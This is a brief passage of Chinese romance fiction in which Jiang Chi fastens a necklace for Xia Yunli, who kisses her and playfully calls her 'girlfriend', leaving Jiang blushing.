姜池只得这样坐着,将项链解开,绕过她的脖颈,俯下身子靠近,想要将它扣上。 唇上却是一热。 “谢谢你,女朋友。” 夏云鲤笑得狡黠,像只偷香的小狐狸。 已经红透的脸还能更红吗? 姜池在今天找到了答案。